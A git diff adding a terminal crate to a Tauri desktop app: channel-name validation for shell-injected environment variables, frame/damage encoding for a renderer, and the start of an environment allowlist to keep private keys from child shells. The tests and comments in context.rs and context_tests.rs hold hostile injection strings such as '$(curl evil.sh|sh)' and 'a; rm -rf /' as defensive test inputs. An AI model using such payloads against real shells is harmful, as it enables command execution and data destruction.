["dynamic-native-runtime"], optional = true } @@ -128,7 +135,6 @@ image = { version = "0.25", default-features = false, features = ["jpeg", "png", zip = "8" flate2 = "1" sherpa-onnx = "1.12" -sentencepiece-model = "0.1" regex = "1" rusqlite = { version = "0.37", features = ["bundled"] } axum = "0.8" @@ -139,9 +145,9 @@ audioadapter-buffers = "3.0" tempfile = "3" strip-ansi-escapes = "0.2" tracing = "0.1" -tokenizers = { version = "0.22", default-features = false, features = ["fancy-regex"] } [dev-dependencies] +tauri-utils = "2" # `test-util` enables tokio's paused-clock (`start_paused`) so the relay # admission gate tests can assert exact wait durations without real sleeps. tokio = { version = "1", features = ["test-util"] } diff --git a/desktop/src-tauri/assets/card_template.png b/desktop/src-tauri/assets/card_template.png new file mode 100644 index 0000000000..2225d1d442 Binary files /dev/null and b/desktop/src-tauri/assets/card_template.png differ diff --git a/desktop/src-tauri/build.rs b/desktop/src-tauri/build.rs index 0fb3747718..2cdd785c73 100644 --- a/desktop/src-tauri/build.rs +++ b/desktop/src-tauri/build.rs @@ -1,6 +1,9 @@ // Shared schema, included from the same source the runtime command parses with, // so the build-time validation below and the runtime parse cannot drift. include!("src/commands/reconnect_hook_config.rs"); +// Same source of truth the runtime filters with, so a baked build env cannot +// carry a reserved key the runtime believes it already rejected. +include!("src/managed_agents/reserved_env_keys.rs"); use base64::Engine as _; @@ -13,11 +16,16 @@ fn main() { println!("cargo:rerun-if-env-changed=BUZZ_BUILD_BUZZ_AGENT_MODEL"); println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_ENV"); println!("cargo:rerun-if-env-changed=BUZZ_BUILD_RELAY_RECONNECT_CMD"); - println!("cargo:rerun-if-env-changed=BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT"); - println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT"); + println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY"); println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY"); println!("cargo:rustc-check-cfg=cfg(buzz_updater_enabled)"); + // Explicit owner-only agent-access capability. Release packaging sets this + // presence-only marker; OSS/custom builds leave agent access configurable. + if std::env::var("BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY").is_ok() { + println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_ACCESS_OWNER_ONLY=1"); + } + if let Ok(relay_url) = std::env::var("BUZZ_RELAY_URL") { println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_URL={relay_url}"); } @@ -61,6 +69,20 @@ fn main() { line ); } + // The baked env is written into every spawned agent's environment + // LAST (see `managed_agents/runtime.rs`), after Buzz sets the + // access gates and identity vars. A baked reserved key would + // therefore silently override the gate the UI promises, so reject + // it at build time instead of shipping a binary that bypasses its + // own enforcement. + if is_reserved_env_key(key) { + panic!( + "BUZZ_BUILD_AGENT_ENV line {}: `{}` is reserved by Buzz and cannot be baked \ + into a build (it would override Buzz's own identity/access env)", + line_no + 1, + key + ); + } } let encoded = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes()); println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_ENV={encoded}"); @@ -75,21 +97,6 @@ fn main() { println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_RECONNECT_CMD={val}"); } - // Presence-only flag: when set (any non-empty value), observer-feed archive - // defaults to ON for the current identity on first run. OSS builds leave - // this unset → default OFF. No JSON validation needed — the command only - // checks `.is_some()`. - if std::env::var("BUZZ_BUILD_OBSERVER_ARCHIVE_DEFAULT").is_ok() { - println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_OBSERVER_ARCHIVE_DEFAULT=1"); - } - - // Presence-only flag: when set (any non-empty value), agent-turn-metric - // archive defaults to ON for the current identity on first run. OSS builds - // leave this unset → default OFF. - if std::env::var("BUZZ_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT").is_ok() { - println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT=1"); - } - // Presence-only release capability: internal desktop builds opt into // auto-connecting their configured default relay on first run. OSS builds // leave this unset and retain explicit community selection. diff --git a/desktop/src-tauri/capabilities/default.json b/desktop/src-tauri/capabilities/default.json index 8835b29dec..a2e09bcb33 100644 --- a/desktop/src-tauri/capabilities/default.json +++ b/desktop/src-tauri/capabilities/default.json @@ -1,8 +1,8 @@ { "$schema": "../gen/schemas/desktop-schema.json", "identifier": "default", - "description": "Capability for the main window", - "windows": ["main"], + "description": "Capability for the main window and trusted huddle companions", + "windows": ["main", "huddle-*"], "permissions": [ "core:default", "core:webview:allow-set-webview-zoom", diff --git a/desktop/src-tauri/crates/buzz-terminal/Cargo.toml b/desktop/src-tauri/crates/buzz-terminal/Cargo.toml new file mode 100644 index 0000000000..070fda80a6 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "buzz-terminal" +version = "0.1.0" +edition = "2021" +license = "Apache-2.0" + +[dependencies] +alacritty_terminal = { version = "0.26.0", default-features = false } +parking_lot = "0.12" +portable-pty = "0.9" + +[target.'cfg(unix)'.dependencies] +libc = "0.2" + +[dev-dependencies] +# Tests reach into the grid to prove content survived a frame. +alacritty_terminal = { version = "0.26.0", default-features = false } +parking_lot = "0.12" diff --git a/desktop/src-tauri/crates/buzz-terminal/src/context.rs b/desktop/src-tauri/crates/buzz-terminal/src/context.rs new file mode 100644 index 0000000000..012fbb4e65 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/context.rs @@ -0,0 +1,103 @@ +//! GUI context injected into the child shell. +//! +//! The terminal knows which channel and thread the user is looking at, so a +//! script in the substrate can act on it. That context crosses a trust +//! boundary: a channel *name* is attacker-controlled — anyone who can create +//! a channel picks the string — and it lands in an environment variable that +//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a +//! channel named `$(curl evil.sh|sh)` into command execution the moment the +//! user opens a terminal. +//! +//! Two rules follow, and the second one is the load-bearing one: +//! +//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an +//! endless negotiation with an attacker who chooses the input. We accept a +//! conservative character class and reject everything else. +//! 2. **On rejection, substitute — never strip.** A stripped name is still a +//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes +//! `evil`, which looks like a real channel. We substitute the channel UUID, +//! which is unambiguous, always safe, and visibly not a name — the user can +//! tell something was replaced. + +/// Maximum accepted channel-name length, in characters. +const MAX_CHANNEL_NAME_CHARS: usize = 64; + +/// The GUI state a spawned terminal is told about. +#[derive(Debug, Clone)] +pub struct GuiContext { + pub channel_id: String, + pub channel_name: String, + pub thread_id: Option, + pub npub: String, + pub relay_url: String, + pub session_id: String, +} + +/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`. +/// +/// Unicode letters, digits and marks are accepted so non-Latin channel names +/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to — +/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the +/// class and therefore rejected rather than removed. +fn is_safe_channel_name(name: &str) -> bool { + !name.is_empty() + && name.chars().count() <= MAX_CHANNEL_NAME_CHARS + && name + .chars() + .all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.')) +} + +/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise +/// the channel UUID. +pub fn channel_display(context: &GuiContext) -> &str { + if is_safe_channel_name(&context.channel_name) { + &context.channel_name + } else { + &context.channel_id + } +} + +/// Returns true if `key` is a well-formed POSIX env var name: +/// `[A-Za-z_][A-Za-z0-9_]*`. +/// +/// Mirrors `is_well_formed_env_key` in the desktop crate +/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here: +/// `CommandBuilder::env` will pass a key containing `=` straight into the +/// child's environ block, where `getenv("FOO")` matches whatever follows the +/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as +/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to +/// forge a variable the fence otherwise controls. +/// +/// Every key we inject is a compile-time literal today, so this cannot fire +/// yet. It is here because the *next* injected key may not be: the check +/// belongs at the boundary, not in the reviewer's memory. +pub fn is_well_formed_env_key(key: &str) -> bool { + let mut chars = key.chars(); + match chars.next() { + Some(c) if c == '_' || c.is_ascii_alphabetic() => {} + _ => return false, + } + chars.all(|c| c == '_' || c.is_ascii_alphanumeric()) +} + +/// The context variables to inject, in order. +/// +/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is +/// always the UUID, so a script that needs an unambiguous identifier has one +/// that no channel name can spoof. +pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> { + let mut vars = vec![ + ("BUZZ_CHANNEL_ID", context.channel_id.clone()), + ("BUZZ_CHANNEL", channel_display(context).to_owned()), + ("BUZZ_NPUB", context.npub.clone()), + ("BUZZ_RELAY_URL", context.relay_url.clone()), + ("BUZZ_TERM_SESSION", context.session_id.clone()), + ("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()), + ]; + // Absent rather than empty when the user is not in a thread: `-n + // "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree. + if let Some(thread_id) = &context.thread_id { + vars.push(("BUZZ_THREAD_ID", thread_id.clone())); + } + vars +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs b/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs new file mode 100644 index 0000000000..1c48c8e78a --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/context_tests.rs @@ -0,0 +1,139 @@ +//! T-1: the channel name is attacker-controlled and reaches a shell. + +use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext}; + +const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b"; + +fn context_named(channel_name: &str) -> GuiContext { + GuiContext { + channel_id: UUID.to_owned(), + channel_name: channel_name.to_owned(), + thread_id: None, + npub: "npub1example".to_owned(), + relay_url: "wss://relay.example".to_owned(), + session_id: "session-1".to_owned(), + } +} + +/// Ordinary names survive intact, including non-Latin scripts. A validator +/// that rejected these would be "safe" and useless. +#[test] +fn benign_channel_names_pass_through_unchanged() { + for name in [ + "buzz-tui", + "General Chat", + "release_2.0", + "日本語チャンネル", + "Ünicode Ñames", + ] { + let context = context_named(name); + assert_eq!(channel_display(&context), name, "rejected a benign name"); + } +} + +/// Shell metacharacters are rejected — and the substitute is the UUID, not a +/// stripped name. Stripping would turn `$(evil)` into `evil`, which is +/// indistinguishable from a real channel called `evil`. +#[test] +fn hostile_channel_names_are_replaced_by_the_uuid() { + for name in [ + "$(curl evil.sh|sh)", + "`id`", + "a; rm -rf /", + "a\nPS1=pwned", + "a$IFS$9", + "x=y", + "'; echo pwned; '", + "a\0b", + ] { + let context = context_named(name); + let shown = channel_display(&context); + assert_eq!( + shown, UUID, + "hostile name was not replaced by the UUID: {name:?} -> {shown:?}" + ); + } +} + +/// The substitution must be *whole*, not a filtered version of the input. A +/// strip-sanitizer passes the "no metacharacters" check while still echoing +/// attacker-chosen text. +#[test] +fn rejection_substitutes_rather_than_strips() { + let context = context_named("$(curl evil.sh|sh)"); + let shown = channel_display(&context); + assert!( + !shown.contains("curl") && !shown.contains("evil"), + "attacker-chosen text survived rejection: {shown:?}" + ); +} + +/// Over-long names are rejected: an env var is not a place for unbounded +/// attacker input, and a 10 KB prompt is its own denial of service. +#[test] +fn over_long_channel_names_are_replaced() { + let context = context_named(&"a".repeat(65)); + assert_eq!(channel_display(&context), UUID); + let ok = context_named(&"a".repeat(64)); + assert_eq!(channel_display(&ok), "a".repeat(64)); +} + +/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no +/// channel name can spoof — including a channel *named* like a UUID. +#[test] +fn channel_id_is_never_the_name() { + let context = context_named("11111111-2222-3333-4444-555555555555"); + let vars = context_vars(&context); + let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap(); + assert_eq!( + id.1, UUID, + "a UUID-shaped channel name displaced the real id" + ); +} + +/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree. +#[test] +fn thread_id_is_absent_when_there_is_no_thread() { + let vars = context_vars(&context_named("buzz-tui")); + assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID")); + + let mut context = context_named("buzz-tui"); + context.thread_id = Some("thread-1".to_owned()); + let vars = context_vars(&context); + assert_eq!( + vars.iter() + .find(|(k, _)| *k == "BUZZ_THREAD_ID") + .map(|(_, v)| v.as_str()), + Some("thread-1") + ); +} + +/// Every injected key must be POSIX-shaped. A key containing `=` would let +/// the value forge a second variable in the child's environ block. +#[test] +fn every_injected_key_is_well_formed() { + for (key, _) in context_vars(&context_named("buzz-tui")) { + assert!( + is_well_formed_env_key(key), + "malformed injected key: {key:?}" + ); + } +} + +/// The guard itself, including the bypass shape it exists for. +#[test] +fn well_formed_key_rejects_the_equals_bypass() { + for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] { + assert!(is_well_formed_env_key(good), "rejected {good:?}"); + } + for bad in [ + "BUZZ_CHANNEL=x", + "", + "1LEADING_DIGIT", + "HAS SPACE", + "HAS\0NUL", + "kebab-case", + ] { + assert!(!is_well_formed_env_key(bad), "accepted {bad:?}"); + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/damage.rs b/desktop/src-tauri/crates/buzz-terminal/src/damage.rs new file mode 100644 index 0000000000..0cc41e1685 --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/damage.rs @@ -0,0 +1,483 @@ +//! Turning grid changes into frames for the renderer. +//! +//! Two rules shape this module, both measured: +//! +//! 1. **Nothing but reading and copying happens under the `Term` lock.** The +//! caller copies rows out; encoding, hashing and serializing run after the +//! lock is released. Encoding inline costs ~75x in lock hold. +//! 2. **Damage over-reports.** `Term::damage()` marks the cursor line every +//! call, so an idle terminal reports damage nearly every frame. Per-line +//! content hashing suppresses those, so the transport never sees a no-op. +//! +//! # Why a frame is the whole viewport +//! +//! Nearly every frame is a full repaint: `Term::scroll_up_relative` calls +//! `mark_fully_damaged()` unconditionally, so any output reaching the bottom +//! row damages the whole grid. Partial damage is effectively the idle cursor. +//! +//! That is fine, and the reason is worth having here rather than in a review +//! thread. A full frame is O(viewport) *by construction* -- the grid is itself +//! the coalescing buffer -- so its cost does not depend on how fast the child +//! writes. Measured on a 200x50 grid, bytes per frame across four orders of +//! magnitude of output rate: 11,390 at an unthrottled flood (45,759 lines +//! scrolled per frame), 11,390 at ~1 MB/s, 11,390 at ~100 KB/s, 11,305 on a +//! slow build log. Constant to three digits. +//! +//! A scroll-aware diff inverts that: its cost is O(lines scrolled), unbounded, +//! and at 45,759 lines/frame it would ship ~915x more data than the full grid +//! it was optimising. It wins where nobody is watching and loses under `cat`. +//! +//! **Revisit if the viewport grows.** 80x24 costs 2.6 KB/frame (0.2 MB/s at +//! 60 Hz), 200x50 costs 11.4 KB (0.7 MB/s), 400x100 costs 42.8 KB (2.6 MB/s). +//! 400x100 is roughly 4x a typical maximised window and is where this decision +//! should be re-measured -- as a serialization/IPC question, not a damage one. +//! +//! Dedup earns its place in the interactive case rather than the streaming one: +//! typing is ~0.9 rows per keystroke, and an idle terminal ships 0 rows across +//! 60 frames instead of a cursor-line frame 60x/second. Idle is the load-bearing +//! one -- it is what the substrate does while sitting behind the GUI untouched. + +use std::collections::hash_map::DefaultHasher; +use std::hash::{Hash, Hasher}; + +use alacritty_terminal::grid::Dimensions; +use alacritty_terminal::index::{Column, Line}; +use alacritty_terminal::term::cell::{Cell, Flags}; +use alacritty_terminal::term::TermDamage; + +/// A run of cells sharing one visual style **and one cell width**. +/// +/// # Why the consumer can position every cluster without Unicode tables +/// +/// The renderer must place each display cluster at its true column, and it +/// cannot derive that from the text: no single split rule over a concatenated +/// string is correct. A regional-indicator flag (`U+1F1FA U+1F1F8`) is two +/// ordinary one-column cells, so it must split *per codepoint*; a keycap +/// (`1 U+FE0F U+20E3`) is one cell holding three codepoints, so it must split +/// *per grapheme*. Those rules disagree, and the distinction lives in the grid, +/// not in the string. +/// +/// So the run carries it instead. Within a span every cluster advances the same +/// [`width`](Self::width) columns, and [`cluster_count`](Self::cluster_count) +/// says how many clusters the text holds. The consumer's rule is arithmetic on +/// those two numbers, with no Unicode table anywhere: +/// +/// ```text +/// cluster_count == 1 -> the whole text is one cluster, at `column` +/// otherwise -> cluster i is the i-th char, at `column + i * width` +/// ``` +/// +/// The second case is exact because a cell carrying zerowidth marks is always +/// emitted alone, so every cell in a multi-cluster span contributes exactly one +/// `char`. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Span { + /// First column of the run. + pub column: usize, + /// The run's text. Grapheme clusters are kept whole: a cell's zerowidth + /// combining marks follow its base character, so the renderer never sees + /// a base and its accent as separate glyphs. + pub text: String, + /// Columns each cluster in this run occupies: 1, or 2 for wide glyphs. + /// + /// Uniform across the run by construction -- a width change ends the span. + /// This is what lets the consumer position clusters by computed origin + /// rather than by accumulated text advance. + pub width: u8, + /// How many display clusters [`text`](Self::text) holds. + /// + /// Without this the consumer cannot distinguish a one-cluster span carrying + /// combining marks from an ordinary multi-character run, and would need a + /// Unicode zerowidth table to guess. The grid already knows, so it says. + pub cluster_count: u16, + /// Packed style: fg, bg, and attribute flags. + pub style: Style, +} + +impl Span { + /// The decoding invariant, stated once: a span is either a single cluster + /// (which may hold several `char`s, as a keycap or an accented letter + /// does) or one cluster per `char`. + /// + /// Exposed so consumers can assert it at a trust boundary rather than + /// restate it. The encoder checks it in debug builds on every frame. + pub fn counts_are_consistent(&self) -> bool { + self.cluster_count == 1 || usize::from(self.cluster_count) == self.text.chars().count() + } +} + +/// Visual style of a span, as the renderer needs it. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub struct Style { + pub fg: u32, + pub bg: u32, + pub flags: u16, +} + +/// One changed row. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct RowFrame { + pub line: usize, + pub spans: Vec, +} + +/// The cursor, carried separately from row content. +/// +/// Upstream damages the cursor's line on every `damage()` call. If the cursor +/// travelled inside the row payload, every frame would carry a row rewrite for +/// a caret that moved one column. As its own plane it costs a few bytes and +/// leaves row dedup free to suppress the row. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct CursorFrame { + pub line: usize, + pub column: usize, + pub visible: bool, +} + +/// One update for the renderer. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Frame { + pub rows: Vec, + pub cursor: CursorFrame, + /// Whether the cursor plane changed since this encoder's previous frame. + /// Cursor movement can be the only visible effect of input (for example, + /// echoing a space over an already blank cell), so it independently makes + /// an incremental frame publishable. + pub cursor_changed: bool, + /// Whether the renderer should discard what it has and repaint. + pub full: bool, + /// The grid this frame describes. A change means the terminal was resized + /// and row indices refer to a different geometry than the previous frame's. + /// Carried so the consumer can detect that from the frame itself instead of + /// trusting that no resize overtook it in flight -- across a transport, a + /// frame captured before a resize can arrive after it. + pub viewport: crate::Viewport, +} + +impl Frame { + /// True when there is nothing for the renderer to do. + pub fn is_empty(&self) -> bool { + self.rows.is_empty() && !self.cursor_changed && !self.full + } +} + +/// Raw rows copied out from under the lock, awaiting encode. +pub struct RawFrame { + rows: Vec<(usize, Vec)>, + cursor: CursorFrame, + full: bool, + viewport: crate::Viewport, +} + +/// The grid line a screen row reads from. +/// +/// The grid indexes the active area from 0 and scrollback with *negative* +/// lines, so scrolling back `n` lines means every screen row reads `n` lines +/// higher. At the live edge the offset is zero and this is the identity, which +/// is why the unscrolled path is unchanged rather than merely equivalent. +fn row_of(screen_row: usize, display_offset: usize) -> Line { + Line(screen_row as i32 - display_offset as i32) +} + +/// Where the cursor sits on screen, given how far the viewport is scrolled +/// back. +/// +/// The grid keeps the cursor in *active-area* coordinates, which do not move +/// when the user scrolls; the renderer paints *screen rows*, which do. The two +/// agree only at the live edge, so the conversion has to happen somewhere, and +/// it happens here rather than in the renderer -- the renderer is not told the +/// display offset, and giving it one would put this same arithmetic on the far +/// side of a transport. +/// +/// Scrolling far enough pushes the cursor off the bottom of the viewport, and +/// then it is reported as not visible. Without that clamp a caret drawn at a +/// clamped row would sit on some unrelated line of history, which reads as +/// corruption rather than as scrollback. +fn cursor_frame( + cursor_point: alacritty_terminal::index::Point, + display_offset: usize, + screen_lines: usize, + shown: bool, +) -> CursorFrame { + let line = cursor_point.line.0.max(0) as usize + display_offset; + CursorFrame { + line: line.min(screen_lines.saturating_sub(1)), + column: cursor_point.column.0, + visible: shown && line < screen_lines, + } +} + +/// Copy the damaged rows out of the terminal. **Runs under the lock; does no +/// encoding.** Keep this function boring — everything added here is lock hold. +pub fn capture(terminal: &mut crate::Terminal) -> RawFrame { + let viewport = terminal.viewport(); + let display_offset = terminal.display_offset(); + let term = terminal.term_mut(); + let columns = term.columns(); + let screen_lines = term.screen_lines(); + let cursor_point = term.grid().cursor.point; + let shown = term + .mode() + .contains(alacritty_terminal::term::TermMode::SHOW_CURSOR); + + // Upstream's partial iterator already reports **screen** rows: it offsets + // each damaged active-area line by the display offset and drops the ones + // that scrolling pushed off the bottom (`TermDamageIterator::new`). So both + // arms below speak the same coordinate, and `row_of` converts once. + let (lines, full) = match term.damage() { + TermDamage::Full => ((0..screen_lines).collect::>(), true), + TermDamage::Partial(iter) => ( + iter.map(|bounds| bounds.line) + .filter(|l| *l < screen_lines) + .collect(), + false, + ), + }; + + let grid = term.grid(); + let mut rows = Vec::with_capacity(lines.len()); + for line in lines { + let row = &grid[row_of(line, display_offset)]; + rows.push((line, row[..Column(columns)].to_vec())); + } + let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown); + + term.reset_damage(); + RawFrame { + rows, + cursor, + full, + viewport, + } +} + +/// Copy the **entire visible viewport**, leaving damage untouched. +/// +/// This exists for subscribers that arrive mid-stream: attach, reattach, and +/// the successor side of a resize. Damage only describes what changed since +/// the last capture, so a newcomer that starts from [`capture`] sees whatever +/// happened to change next -- often just the cursor's line -- painted onto a +/// blank screen. Upstream's `mark_fully_damaged` is private, so an embedder +/// cannot ask for a full frame that way. +/// +/// **It must not consume damage, and that is the load-bearing property.** The +/// incumbent subscriber's next [`capture`] has to still see its rows. If this +/// called `damage()`/`reset_damage()` it would steal them, and the incumbent +/// would freeze on stale content while a newcomer's full-frame test passed. +/// The absence of those two calls below is the mechanism; `snapshot_test.rs` +/// is the proof. +/// +/// **Runs under the lock; does no encoding.** Costs a full grid copy rather +/// than a damaged-rows copy, so it belongs on attach, not in the frame loop. +pub fn capture_all(terminal: &mut crate::Terminal) -> RawFrame { + let viewport = terminal.viewport(); + let display_offset = terminal.display_offset(); + let term = terminal.term_mut(); + let columns = term.columns(); + let screen_lines = term.screen_lines(); + let cursor_point = term.grid().cursor.point; + let shown = term + .mode() + .contains(alacritty_terminal::term::TermMode::SHOW_CURSOR); + + let grid = term.grid(); + let mut rows = Vec::with_capacity(screen_lines); + for line in 0..screen_lines { + let row = &grid[row_of(line, display_offset)]; + rows.push((line, row[..Column(columns)].to_vec())); + } + let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown); + + // No `damage()` and no `reset_damage()`: see the note above. + RawFrame { + rows, + cursor, + // A snapshot *is* a repaint, and marking it full also resets the + // consumer's `Encoder` hashes, so its dedup state describes the grid it + // was actually given rather than a predecessor's. + full: true, + viewport, + } +} + +/// Suppresses rows whose content did not actually change. +#[derive(Default)] +pub struct Encoder { + hashes: Vec, + cursor: Option, +} + +impl Encoder { + pub fn new() -> Self { + Self::default() + } + + /// Encode a captured frame. **Runs with the lock released.** + pub fn encode(&mut self, raw: RawFrame) -> Frame { + // A full frame invalidates the dedup cache. Both routes that produce + // one matter: a `mark_fully_damaged` from scroll/alt-swap, and a resize, + // where the cached hashes describe rows of a different width entirely. + if raw.full { + self.hashes.clear(); + } + let mut rows = Vec::with_capacity(raw.rows.len()); + for (line, cells) in raw.rows { + let hash = hash_cells(&cells); + if self.hashes.len() <= line { + self.hashes.resize(line + 1, 0); + } + if self.hashes[line] == hash { + continue; + } + self.hashes[line] = hash; + rows.push(RowFrame { + line, + spans: spans(&cells), + }); + } + let cursor_changed = self.cursor != Some(raw.cursor); + self.cursor = Some(raw.cursor); + Frame { + rows, + cursor: raw.cursor, + cursor_changed, + full: raw.full, + viewport: raw.viewport, + } + } +} + +fn hash_cells(cells: &[Cell]) -> u64 { + let mut hasher = DefaultHasher::new(); + for cell in cells { + cell.c.hash(&mut hasher); + // Hash the *packed* colors, not the enum: this is the representation + // the renderer receives, so the dedup key cannot disagree with the + // wire encoding and suppress a row that actually changed on screen. + pack_color(cell.fg).hash(&mut hasher); + pack_color(cell.bg).hash(&mut hasher); + cell.flags.bits().hash(&mut hasher); + if let Some(zerowidth) = cell.zerowidth() { + zerowidth.hash(&mut hasher); + } + } + hasher.finish() +} + +/// Group a row's cells into runs of uniform style and width. +/// +/// A run continues only while style *and* width match, and a cell carrying +/// zerowidth marks is always emitted alone. Both breaks exist so the consumer +/// can compute each cluster's column as `column + i * width`; see [`Span`]. +/// +/// The width comparison is the only thing keeping widths uniform within a run: +/// [`Style`] deliberately excludes [`GEOMETRY_FLAGS`], so a style key cannot +/// break a run on width behind this check's back. +fn spans(cells: &[Cell]) -> Vec { + let mut spans: Vec = Vec::new(); + // Whether the run in progress may still be extended. Kept here rather than + // on `Span` because it is grouping bookkeeping, not part of the wire shape. + let mut open = false; + for (column, cell) in cells.iter().enumerate() { + // A wide glyph occupies two cells: the character, then a spacer. The + // spacer carries no text of its own -- emitting its placeholder space + // would insert a phantom column after every CJK character or emoji. + if cell.flags.contains(Flags::WIDE_CHAR_SPACER) { + continue; + } + let style = style_of(cell); + let width = if cell.flags.contains(Flags::WIDE_CHAR) { + 2 + } else { + 1 + }; + let zerowidth = cell.zerowidth(); + let mut text = String::new(); + text.push(cell.c); + if let Some(marks) = zerowidth { + text.extend(marks); + } + + // A cluster with combining marks holds more `char`s than columns, so it + // cannot share a run: it is the one case where "one char per cluster" + // stops holding. + let joinable = zerowidth.is_none(); + match spans.last_mut() { + // `cluster_count` is refused rather than wrapped when it would + // overflow: the run simply ends and a new span starts at this + // column, which the consumer's rule already handles. + Some(last) + if open + && joinable + && last.style == style + && last.width == width + && last.cluster_count < u16::MAX => + { + last.text.push_str(&text); + last.cluster_count += 1; + } + _ => spans.push(Span { + column, + text, + width, + cluster_count: 1, + style, + }), + } + open = joinable; + } + // Enforced in release, not just in debug. This is a *wire* invariant: a + // span that violates it is undecodable by the rule in [`Span`], and the + // consumer's failure is silent misplacement of every cluster after it. + // A `debug_assert` here would vanish in exactly the build where that + // corruption ships. The cost is one pass over text already in cache -- + // the same order as building the spans -- and it buys a loud, local + // failure instead of a renderer quietly drawing the wrong columns. + assert!( + spans.iter().all(Span::counts_are_consistent), + "cluster_count must be 1 or the span's char count" + ); + spans +} + +/// Flags describing where a cell sits in the grid rather than how it looks. +/// +/// `WRAPLINE` marks the last cell of a row that wrapped; the three wide-char +/// bits mark a two-column glyph and its spacer. Neither says anything about +/// appearance. +/// +/// These are excluded from [`Style`] so the style key means one thing: visual +/// attributes. Geometry travels in [`Span::width`], which is compared on its +/// own when grouping -- if these bits stayed in the key they would break runs +/// as a side effect and leave the width comparison untestable. +/// +/// Composite visual aliases (`BOLD_ITALIC`, `DIM_BOLD`, `ALL_UNDERLINES`) are +/// deliberately not masked: those are appearance. +const GEOMETRY_FLAGS: Flags = Flags::WRAPLINE + .union(Flags::WIDE_CHAR) + .union(Flags::WIDE_CHAR_SPACER) + .union(Flags::LEADING_WIDE_CHAR_SPACER); + +fn style_of(cell: &Cell) -> Style { + Style { + fg: pack_color(cell.fg), + bg: pack_color(cell.bg), + flags: cell.flags.difference(GEOMETRY_FLAGS).bits(), + } +} + +/// Pack a color into a tagged u32 the renderer resolves against the theme. +/// +/// Named and indexed colors stay symbolic rather than being resolved here: +/// the substrate must follow the user's chosen theme, so the palette belongs +/// to the renderer, not to a snapshot taken at damage time. +fn pack_color(color: alacritty_terminal::vte::ansi::Color) -> u32 { + use alacritty_terminal::vte::ansi::Color; + match color { + Color::Named(named) => 0x0100_0000 | named as u32, + Color::Indexed(index) => 0x0200_0000 | index as u32, + Color::Spec(rgb) => { + 0x0300_0000 | ((rgb.r as u32) << 16) | ((rgb.g as u32) << 8) | rgb.b as u32 + } + } +} diff --git a/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs b/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs new file mode 100644 index 0000000000..2430d54a4a --- /dev/null +++ b/desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs @@ -0,0 +1,85 @@ +//! Environment fence for spawned PTY children. +//! +//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and +//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env +//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()` +//! `:74`), so a shell spawned with the default builder inherits **all** of it: +//! the user types `env` and reads the signing key off the screen. +//! +//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22) +//! demonstrates the failure mode this module exists to prevent. It removed +//! seven Hermit/macOS keys by denylist under a comment promising "a clean +//! environment" and passed 68 variables — including the nsec — to the child. +//! A denylist is only as current as the last time someone remembered to +//! extend it; it was correct for the polluted-`PATH` threat it was written +//! for and became a key-disclosure bug when the app started holding secrets. +//! +//! So: **allowlist, never denylist.** Clear the inherited environment +//! wholesale, then rebuild only what a terminal legitimately needs. + +use 